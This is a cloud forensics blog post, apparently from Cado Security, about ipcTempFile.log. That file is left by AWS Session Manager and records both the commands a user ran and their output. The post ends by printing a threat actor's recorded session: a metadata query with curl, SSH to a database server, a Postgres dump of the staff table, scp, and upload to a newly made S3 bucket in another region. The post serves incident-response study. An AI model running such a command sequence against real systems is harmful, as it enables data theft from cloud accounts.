Blog
March 29, 2023
In our recent blog series with Invictus-IR about responding to an attack in AWS, Cado analysts performed an investigation of two AWS EC2 instances to identify what actions the threat actor had taken while they had command line access. After revisiting the evidence that was captured by the Cado platform, our analysts identified an artifact that will help investigators see not only what commands were executed but also the results.
Background
In part two of the blog series, Cado analysts used file content and timeline analysis to piece together what commands the threat actor had executed. After a further review of the captured systems, we have identified an artifact that was created as a result of the attacker using the AWS Console to gain command line access using Session Manager (SSM).
Findings
When we revisited the evidence, we performed a search for the term prod_data_01 (this is the name of the database that the threat actor extracted data from) across both disks that were acquired by the Cado platform. We were surprised to find references to that search term in i-08e56d6b6c0439daf which was the system the threat actor had connected to using SSM Session Manager and not the system used as Database server. The search term was found in /var/lib/amazon/ssm/i-08e56d6b6c0439daf/session/orchestration/DevOps1-bpvbp-020e0385d1429c31f/Standard_Stream/ipcTempFile.log and when we reviewed the contents of that file we can see that this file contains the same commands seen executed by the threat actor from the bash_history file:
If you have followed the blog series, you will remember that we identified the following commands that were executed when reviewing the bash_history file for both ssm-user and ec2-user on i-08e56d6b6c0439daf:
Research
What is ipcTempFile.log?
AWS documentation makes no reference to ipcTempFile.log. Our testing has revealed that it is used to store a copy of the AWS Session Manager initiated terminal session. Running a Google search for ipcTempFile.log returned eight results, one of which describes how this file was used to answer a question for a publicly available cloud CTF1.
When Does it get Created?
To connect to an EC2 using Service Manager, the EC2 instance must have the AWS SSM agent running on it, along with the appropriate IAM permission. Here is a link to AWS docs to the Session Manager prerequisite requirements.
How Persistent is the Data?
For Linux, each session connection makes a new directory in: /var/lib/amazon/ssm/<EC2-INSTANCE-ID>/session/orchestration/<USER>-<RANDOM ID>/ as can be seen in the screenshot below:
Similarly, for Windows, each session connection makes a new directory in: C:\ProgramData\Amazon\SSM\InstanceData\<EC2 INSTANCE ID>\session\orchestration as can be seen in the screenshot below:
The directories have the following naming convention: <AWS UserName>-<Session ID> and within it there is a subdirectory Standard_Stream, which contains an ipcTempFile.log file for that session.
On both Linux and Windows systems, the directories and files are still available after a system reboot but I haven’t found an option with the ssm-agent configuration as to how long the session directories will be retained for. The ssm-agent README.md file references a setting for performing a Orchestration Directory Cleanup however this appears to be linked to Documents used as part of the SSM process which have a separate directory from Sessions:
OrchestrationDirectoryCleanup (string) - Configure only when it is safe to delete orchestration folder after document execution. This config overrides PluginLocalOutputCleanup when set.
Default: "" - Don't delete orchestration folder after execution
OptionalValue: "clean-success" - Deletes the orchestration folder only for successful document executions.
OptionalValue: "clean-success-failed" - Deletes the orchestration folder for successful and failed document executions.Conclusion
AWS’ Systems Manager is a powerful feature to centrally manage and monitor not only AWS cloud servers, but also on-premises servers, virtual machines, non-AWS cloud servers and other devices from a single location.
As seen in the case study, the user account that was compromised had permission to connect to a non internet accessible instance using Session Manager. However, using this connection method resulted in the analyst being able to see not only what commands were executed but also their response. This information is extremely useful to the analyst as it can help guide their response actions based on knowing the same information the attacker has at the time of the incident. If you’d like to see how we present this data in our Cado Response platform, you can get a free trial here.
Below is the content of the ipcTempFile.txt from i-08e56d6b6c0439daf:
sh-4.2$
[ec2-user@ip-10-0-2-54 ~]$ ls
key
[ec2-user@ip-10-0-2-54 ~]$ macid=$(curl -sS http://169.254.169.254/latest/meta-data/network/interfaces/macs/) && vpcid=$(curl -sS
http://
[ec2-user@ip-10-0-2-54 ~]$ aws ec2 describe-security-groups --region us-west-2 --filters Name=vpc-id,Values=${vpcid} Name=egress.i
p-permi
SECURITYGROUPS Managed by Terraform sg-03e8236c5c01b4418 Security group for development host 361467201274 vpc-0d6fabeeeea4b2bbe
IPPERMISSIONSEGRESS 80 tcp 80
IPRANGES 10.0.1.205/32 SSH to appstack database server
IPPERMISSIONSEGRESS 22 tcp 22
IPRANGES 10.0.1.205/32 SSH to appstack web server
IPRANGES 10.0.1.82/32 SSH to appstack database server
IPPERMISSIONSEGRESS 443 tcp 443
IPRANGES 18.34.32.0/20 Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC
gateway)
IPRANGES 3.5.64.0/21 Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES 3.5.72.0/23 Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES 52.218.0.0/17 Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES 52.92.0.0/17 Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
USERIDGROUPPAIRS Allow HTTPS traffic to VPC endpoints sg-0ff6f4ef82f4cf56a 361467201274
TAGS organisation bpvbp
TAGS Name development-sg-bpvbp
[ec2-user@ip-10-0-2-54 ~]$ ssh [email protected]
The authenticity of host '10.0.1.82 (10.0.1.82)' can't be established.
ECDSA key fingerprint is SHA256:BXhMwY/lHQuMbFLz1S6MbT+mxdj1bC2EQ108qTDDZWY.
ECDSA key fingerprint is MD5:48:85:ae:87:cf:26:90:d5:f1:8d:1a:f7:cf:90:38:55.
Are you sure you want to continue connecting (yes/no)? ^C
[ec2-user@ip-10-0-2-54 ~]$ ssh [email protected] -i key
The authenticity of host '10.0.1.82 (10.0.1.82)' can't be established.
ECDSA key fingerprint is SHA256:BXhMwY/lHQuMbFLz1S6MbT+mxdj1bC2EQ108qTDDZWY.
ECDSA key fingerprint is MD5:48:85:ae:87:cf:26:90:d5:f1:8d:1a:f7:cf:90:38:55.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.1.82' (ECDSA) to the list of known hosts.
__| __|_ )
_| ( / Amazon Linux 2 AMI
___|\___|___|
https://aws.amazon.com/amazon-linux-2/
[ec2-user@ip-10-0-1-82 ~]$
[ec2-user@ip-10-0-1-82 ~]$
[ec2-user@ip-10-0-1-82 ~]$
[ec2-user@ip-10-0-1-82 ~]$ sudo -^C
[ec2-user@ip-10-0-1-82 ~]$ ^C
[ec2-user@ip-10-0-1-82 ~]$ sudo -u postgres -i psql
psql (12.11)
Type "help" for help.
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+----------+----------+-------------+-------------+-----------------------
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
prod_data_01 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \dt
Did not find any relations.
postgres=# \c prod_data_01
You are now connected to database "prod_data_01" as user "postgres".
prod_data_01=# \dt
List of relations
Schema | Name | Type | Owner
--------+---------------+-------+----------
public | actor | table | postgres
public | address | table | postgres
public | category | table | postgres
public | city | table | postgres
public | country | table | postgres
public | customer | table | postgres
public | film | table | postgres
public | film_actor | table | postgres
public | film_category | table | postgres
public | inventory | table | postgres
public | language | table | postgres
public | payment | table | postgres
public | rental | table | postgres
public | staff | table | postgres
public | store | table | postgres
(15 rows)
prod_data_01=# \q
[ec2-user@ip-10-0-1-82 ~]$ cd /tmp && sudo -u postgres psql -d prod_data_01 -c "SELECT * FROM staff;" > /tmp/staff.txt
[ec2-user@ip-10-0-1-82 tmp]$ logout
Connection to 10.0.1.82 closed.
[ec2-user@ip-10-0-2-54 ~]$ scp -i key [email protected]:/tmp/staff.txt .
[ec2-user@ip-10-0-2-54 ~]$ aws s3 mb s3://eu-west-1-prod-data --region eu-west-1
make_bucket: eu-west-1-prod-data
[ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt s3://eu-west-1-prod-data --region eu-west-1
Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1 file(s) remaining
[ec2-user@ip-10-0-2-54 ~]$ logout
sh-4.2$ exit1https://infosecwriteups.com/pentesting-cloud-part-1-open-to-the-public-ctf-walkthrough-aa4dae59ec4e
About Cado Security
Cado Security is the provider of the first cloud forensics and incident response platform. By leveraging the scale and speed of the cloud, the Cado platform automates forensic-level data capture and processing across cloud, container, and serverless environments. Only Cado empowers security teams to respond at cloud speed.